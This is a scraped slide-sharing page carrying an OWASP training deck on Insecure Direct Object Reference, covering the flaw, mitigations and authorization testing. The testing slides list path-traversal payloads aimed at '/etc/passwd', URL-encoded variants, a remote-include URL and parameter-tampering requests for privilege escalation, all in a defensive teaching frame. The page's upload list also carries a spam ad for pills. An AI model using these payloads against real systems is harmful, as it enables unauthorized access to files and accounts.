Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Scriptwesley chun
 

Recently uploaded (20)

Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
A Beginners Guide to Building a RAG App Using Open Source Milvus
A Beginners Guide to Building a RAG App Using Open Source MilvusA Beginners Guide to Building a RAG App Using Open Source Milvus
A Beginners Guide to Building a RAG App Using Open Source Milvus
 
Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...
Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...
Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 

OWASP Top 10 A4 – Insecure Direct Object Reference

  • 1. OWASP Top 10 A4 – Insecure Direct Object Reference Narudom Roongsiriwong CISSP
  • 2. WhoAmI ● Lazy Blogger – Japan, Security, FOSS, Politics, Christian – http://narudomr.blogspot.com ● Information Security since 1995 ● Web Application Development since 1998 ● Head of IT Security, Kiatnakin Bank PLC (KKP) ● Contact: narudom.roongsiriwong@owasp.org
  • 3. What Is It? • Occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. • Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.
  • 4. Impact = Moderate ● Such flaws can compromise all the data that can be referenced by the parameter. ● Unless object references are unpredictable, it’s easy for an attacker to access all available data of that type. ● Consider the business value of the exposed data as well as the business impact of public exposure of the vulnerability.
  • 5. Why Care About Insecure Direct Object References? ● Although this vulnerability is easy to exploit and easy to detect, it is still usually ignored by developers ● June 2000, Australian Treasury GST(Goods and Services Tax) website was hacked and private information from 17,000 businesses breached, just by a student typing in an URL ● February 2014, Insecure Direct Object Reference allow attacker to delete all the posted thread and comments on Yahoo's Suggestion Board website → 1.5 million records
  • 6. Insecure Direct Object Web Page Query
  • 7. Not Only Web Page but XML Data Island Client Account ID Account ID
  • 8. Not Only Web Page but XML Data Island
  • 9. Not Only Web Page but XML Data Island
  • 10. Not Only Web Page but XML Data Island
  • 11. Misunderstanding on Insecure Direct Object Reference ● We use HTTPS nobody can change my POST parameters – HTTPS protects data in transportation not the end point, attackers can manipulate data using tools like OWASP Zap Proxy, Burp Suite or even Firebug plug-in for Firefox ● We use AJAX to exchange data browser's developer mode cannot see or change data – Proxy tools like OWASP Zap Proxy and Burp Suites are able to intercept HTTP(S) protocol including AJAX communication ● Our mobile application with HTTPS cannot be intercepted, nobody can change object references – No, attackers can run your app on rooted or jail-broken devices or in emulator or connect to access point with proxy tools as named above
  • 12. Misunderstanding on Insecure Direct Object Reference ● We can encrypt requests before POSTing – Be sure you use encryption not encoding like base64 – If you use symmetric encryption, the key will be on client side somewhere. ● Web application, the encryption key must be somewhere in your scripts. ● Mobile application, attackers can reverse engineering you app and find the key – If you use asymmetric encryption, it is safe, however your server processing will increase significantly.
  • 13. Mitigations ● Do not expose internal keys or identifiers – Keep user ID or key in a session variable – Use a temporary mapping value (See next slide) ● Use object references that are challenging to guess – GUID/UUID – Random Number ● Perform server-side authorization checks before object accesses (strongly recommend) – Verify the parameter value is properly formatted – Verify the user is allowed to access the target object – Verify the requested mode of access is allowed to the target object (e.g., read, write, delete)
  • 14. Temporary Mapping Value Account Label MapID 112536 Deposit 1 115696 Current 2 Temporary In session memory
  • 15. How Do You Test Applications? • Testing for insecure direct object references can be hard to automate – Automated scanners do not know what users should have access to what data • Inspect parameters being passed to applications • Manipulate parameters to see if sensitive information is disclosed • Look at pages whose only purpose is to display information about a single object – Documents – Accounts – Statements
  • 16. OWASP Testing Guide for A4 ● Authorization Testing – Testing Directory traversal/file include (OTG-AUTHZ-001) – Testing for Bypassing Authorization Schema (OTG-AUTHZ-002) – Testing for Privilege escalation (OTG-AUTHZ- 003) – Testing for Insecure Direct Object References (OTG-AUTHZ-004)
  • 17. Testing Directory traversal/file include (OTG-AUTHZ-001): Enumeration ● Are there request parameters which could be used for file-related operations? ● Are there unusual file extensions? ● Are there interesting variable names? – http://example.com/index.php?file=content – http://example.com/main.cgi?home=index.htm – http://example.com/getUserProfile.jsp?item=ikki.html ● Is it possible to identify cookies used by the web application for the dynamic generation of pages or templates? Cookie: ID=d9ccd3f4f9f18cc1:T- M=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:- TEMPLATE=flower Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
  • 18. Testing Directory traversal/file include (OTG-AUTHZ-001): Testing Techniques ● Insert the malicious string “../../../../” to include the password hash file for a Linux/Unix or boot.ini for Windows system – http://example.com/getUserProfile.jsp? item=../../../../etc/passwd ● For the cookies example: – Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd ● Try to include files and scripts located on external website. – http://example.com/index.php? file=http://www.owasp.org/malicioustxt ● Try to show the source code of a CGI component – http://example.com/main.cgi?home=main.cgi
  • 19. Testing Directory traversal/file include (OTG-AUTHZ-001): Testing Techniques If “../” does not work, try character encoding such as URL encoding, double URL encoding, Unicode/UTF-8 encoding Encoding Test with Represent URL %2e%2e%2f ../ %2e%2e/ ../ ..%2f ../ %2e%2e%5c .. %2e%2e .. ..%5c .. Double URL %252e%252e%255c .. ..%255c .. Unicode/UTF-8 ..%c0%af ../ ..%c1%9c ..
  • 20. Testing Directory traversal/file include (OTG-AUTHZ-001): Testing Tools ● DotDotPwn - The Directory Traversal Fuzzer - http://dotdotpwn.sectester.net ● Path Traversal Fuzz Strings (from WFuzz Tool) - http://code.google.com/p/wfuzz/source/brows e/trunk/wordlist/Injections/Traversal.txt ● Web Proxy (Burp Suite, Paros, WebScarab,OWASP: Zed Attack Proxy (ZAP)) ● Encoding/Decoding tools
  • 21. Testing Other Authorization (OTG-AUTHZ-002 to 004): Prerequisite ● Needs to map out all locations in the application where user input is used to reference objects directly. – A database row – A file – Application pages ● Having at least two (often more) users to cover different owned objects and functions – Users each having access to different objects (such as purchase information, private messages, etc.) – Users with different privileges (for example administrator users) to see whether there are direct references to application functionality
  • 22. Testing for Bypassing Authorization Schema (OTG-AUTHZ-002): Summary ● Focus on verifying how the authorization schema has been implemented for each role or privilege to get access to reserved functions and resources. ● States to verify – User is not authenticated – After the log-out – User that holds a different role or privilege ● Track all the administrative functions when: – Logging as a user with standard privileges – Logging as a user with a different role and for whom that action should be denied
  • 23. Testing for Bypassing Authorization Schema (OTG-AUTHZ-002): How to test ● Testing for access to administrative functions – Example, Try to post to administrator's “adduser” when logging on as non-administrative roles ● Testing for access to resources assigned to a different role – Example, analyze an application that uses a shared directory
  • 24. Testing for Privilege escalation (OTG- AUTHZ-003): Summary ● Verify that it is not possible for a user to modify his or her privileges or roles inside the application ● Privilege escalation occurs when a user gets access to more resources or functionality than they are normally allowed ● The degree of escalation depends on what privileges the attacker is authorized to possess, and what privileges can be obtained in a successful exploit ● Vertical escalation – access resources granted to more privileged accounts (e.g., acquiring administrative privileges for the application) ● Horizontal escalation – access resources granted to a similarly configured account (e.g., in an online banking application, accessing information related to a different user)
  • 25. Testing for Privilege escalation (OTG- AUTHZ-003): How to test POST /user/viewOrder.jsp HTTP/1.1 Host: www.example.com ... groupID=grp001&orderID=0001 This POST allows the user that belongs to grp001 to access order #0001, logon with a user that does not belong to grp001 then intercept the post & try to modify the parameters to gain access privileged data
  • 26. Testing for Privilege escalation (OTG- AUTHZ-003): How to test HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Date: Wed, 1 Apr 2006 13:51:20 GMT Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/; domain=www.example.com Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain= www.example.com Cache-Control: no-cache Pragma: No-cache Content-length: 247 Content-Type: text/html Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close <form name="autoriz" method="POST" action = "visual.jsp"> <input type="hidden" name="profile" value="SysAdmin"> <body onload="document.forms.autoriz.submit()"> </td> </tr> This HTML shows a hidden field to the user after a successful administrative user authentication. Logon with another non-administrative user and modify the value of the variable "profile" to "SysAdmin"? Is it possible to become administrator?
  • 27. Testing for Insecure Direct Object References (OTG-AUTHZ-004): Scenarios ● Retrieve a database record – http://foo.bar/somepage?invoice=12345 ● Perform an operation in the application – http://foo.bar/changepassword?user=someuser ● Retrieve a file system resource – http://foo.bar/showImage?img=img00011 ● Access application functionality – http://foo.bar/accessPage?menuitem=12
  • 28. Testing for Insecure Direct Object References (OTG-AUTHZ-004): Where to Look for ● URL Query String ● Cookie (HTTP Header) ● Request Body (Post Method) – Query String – XML SOAP Interface – JSON Document ● Check Web URL, Web Forms, AJAX Communication, Mobile HTTP Request and Web Service
  • 29. Common Tools for Authorization Testing ● Web Proxy (Burp Suite, Paros, WebScarab,OWASP: Zed Attack Proxy (ZAP))
  • 30. Recap ● Insecure direct object references occur when an application exposes internal references to objects via parameters passed to the application ● To guard against: – Do not expose internal keys or identifiers for objects – Use object references that are challenging to guess – Perform server-side authorization checks before object accesses (strongly recommend)
  • 31. References • OWASP – OWASP Top 10 2010-A4-Insecure Direct Object References – ESAPI Access Reference Map – ESAPI Access Control API (See isAuthorizedForData(), isAuthorizedForFile(), isAuthorizedForFunction()) • External – CWE Entry 639 on Insecure Direct Object Reference – CWE Entry 22 on Path Traversal (an example of a Direct Object Reference attack)